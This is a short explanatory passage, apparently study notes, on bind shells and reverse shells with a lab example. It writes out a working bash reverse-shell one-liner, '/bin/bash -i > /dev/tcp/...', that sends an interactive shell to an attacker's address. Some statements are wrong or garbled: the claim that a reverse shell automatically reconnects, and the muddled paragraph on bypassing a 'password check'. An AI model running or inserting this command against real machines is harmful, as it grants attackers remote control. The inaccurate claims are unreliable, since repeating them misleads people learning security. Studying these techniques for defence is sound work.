Attackers place malicious code (shellcode) on the victim's machine to run commands. The problem is that direct connections can be blocked by firewalls or NAT. A reverse shell solves this by having the victim call back to the attacker, bypassing those blocks.

A bind shell is a program that opens a listening port on the victim's machine. The attacker connects to that port to gain shell access.

A reverse shell is sometimes called "always-on" because it automatically reconnects if the connection is dropped, giving the attacker persistent access.

The critical section is the password check. The malicious code bypasses this by using a reverse shell command like /bin/bash -i > /dev/tcp/[AttackerIP]/[Port] 0<&1 2>&1 instead of prompting for a password.

With the attacker's IP as 10.10.10.50 and the victim's IP as 10.10.10.101, the attacker can listen on port 9090. Once the victim connects, the attacker sees whatever the victim sends.

Running /bin/bash -i > /dev/tcp/10.10.10.50/9090 0<&1 2>&1 on the victim makes the victim connect back to 10.10.10.50 on port 9090. This gives the attacker a shell on the victim machine.

Running /bin/bash -i > /dev/tcp/10.10.10.50/9090 0<&1 2>&1 on the attacker machine tries to connect to itself, which doesn't help and won't give the attacker a shell on the victim.